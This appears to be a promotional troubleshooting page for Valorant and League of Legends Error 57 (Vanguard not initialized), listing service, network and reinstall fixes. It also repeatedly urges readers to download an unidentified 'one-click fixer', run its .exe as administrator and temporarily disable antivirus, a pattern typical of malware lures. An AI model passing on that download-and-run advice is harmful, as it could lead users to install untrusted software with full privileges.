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How to Fix Valorant Error 57 (VAL 57) – Vanguard Not Initialized

Game Error Valorant League-of-Legends Riot-Vanguard
Screenshot of Valorant Error Code VAN 57
VANGUARD NOT INITIALIZED; Vanguard Anti-Cheat has not been initialized. If this is your first time playing you will need to reboot your computer to continue. If you see this message frequently you may need to update your drivers.; Error Details: Error Code: 57

Valorant Error 57 (also known as VAL 57, Valorant error code 57, or Vanguard not initialized) is a common Riot Vanguard anti-cheat error that prevents players from launching Valorant or League of Legends. The message “Vanguard not initialized please reboot your computer” often appears alongside Valorant Vanguard error 57.

If you’re facing Valorant Error 57 on Windows 10 or Windows 11, this updated 2026 guide will show you exactly how to fix Valorant Error 57 using both manual methods and the fastest automated solution.

If you want to resolve the issue as quickly as possible, go to the quickest way to fix error 57

What Causes Valorant Error Code 57?

Valorant error code VAL 57 usually occurs when Riot Vanguard service not running or fails to initialize properly. Common triggers include:

  • Corrupted Vanguard files
  • Incorrect service startup settings
  • Windows Firewall or antivirus conflicts
  • Outdated network drivers
  • Recent Windows updates interfering with Vanguard

This error affects both Valorant and League of Legends, often showing as Vanguard Error 57, VAN 57 League of Legends, or Riot Vanguard not initialized.

The Easiest & Fastest Way to Fix Valorant Error 57

Manual fixes can be time-consuming and technical. That’s why thousands of players use our one-click automated fixer that resolves Valorant Error 57, VAL 57 error Valorant, and Vanguard not initialized issues instantly.

Our tool automatically:

  • Repairs and restarts Riot Vanguard services
  • Fixes Windows Firewall and service startup types
  • Clears DNS cache and resets network settings
  • Applies all necessary patches for both Valorant and League of Legends

Download our one-click VAN 57 fixer now and get back into the game in under 2 minutes.

📥 Download

How to use it:

  1. Click the button above to download the archive.
  2. Go to “Downloads” folder ➔ Right-click on archive ➔ Click “Extract all” ➔ Click “OK”.
  3. Go to “valorant-van-57-fixer” folder.
  4. Right-click on valorant-van-57-fixer.exe ➔ Click “Run as administrator”.
  5. Wait until the message “The fix has been successfully completed!” appears in the console.

How to Fix Valorant Error 57 on Windows 10 / Windows 11

1. Restart Riot Vanguard Service

  • Press Win + R, type services.msc
  • Locate vgc and vgk services
  • Set vgc service startup type to Automatic
  • Right-click → Restart both services

2. Run Games as Administrator

Right-click on Riot Client, Valorant, and League of Legends executables and select “Run as administrator”. This resolves many Vanguard Valorant Error 57 issues.

3. Flush DNS and Reset Network (DNS Flush Fix)

ipconfig /flushdns
ipconfig /release
ipconfig /renew
netsh winsock reset
netsh int ip reset

Restart your computer after running these commands.

4. Allow Valorant and Vanguard Through Windows Firewall

Incorrect firewall settings often cause Valorant connection problems with Vanguard. Add exceptions for:

  • RiotClientServices.exe
  • VALORANT-Win64-Shipping.exe
  • LeagueClient.exe
  • vgc.exe

5. Disable Third-Party Antivirus Temporarily

Some antivirus programs conflict with Vanguard. Temporarily disable them while testing.

Complete Guide to Reinstall Riot Vanguard

If the error persists, a clean reinstall is often necessary:

  1. Uninstall Valorant, League of Legends, and Riot Vanguard from Windows Settings
  2. Delete remaining folders in C:\Riot Games and C:\Program Files\Riot Games
  3. Use Command Prompt (as Administrator) and run:
sc delete vgc
sc delete vgk
  1. Reboot your PC
  2. Download and install fresh copies from the official Riot website

This method fixes most cases of Reinstall Vanguard fix Error 57 Valorant.

How to Fix VAN 57 Error in League of Legends

VAN 57 League of Legends and Vanguard Error VAN 57 LoL use the exact same fixes as Valorant. Our automated tool works perfectly for both Riot games.

FAQ – Valorant Error 57 & Vanguard Issues

What is Valorant Error 57 (VAL 57)?

It is a Vanguard anti-cheat initialization error that stops the game from launching.

What does Vanguard not initialized mean?

It means the Riot Vanguard service failed to start properly. You’ll often see “Vanguard not initialized please reboot your computer”.

How to fix Valorant Error 57 on Windows 11?

Follow the steps in this guide or use the automated fixer for the quickest solution.

Why does Valorant Error 57 keep happening after restart?

This usually indicates corrupted files or service conflicts. A full Vanguard reinstall or automated repair is recommended.

Does reinstalling Vanguard fix Error 57?

Yes, in most cases. However, our automated tool saves time by doing everything correctly in one click.

Still getting Error VAL 57?

If you continue facing Valorant Vanguard Error 57 after trying manual steps, download our specialized fixer. It was built specifically to resolve Valorant error code 57, Vanguard Error 57, and related issues in 2026.

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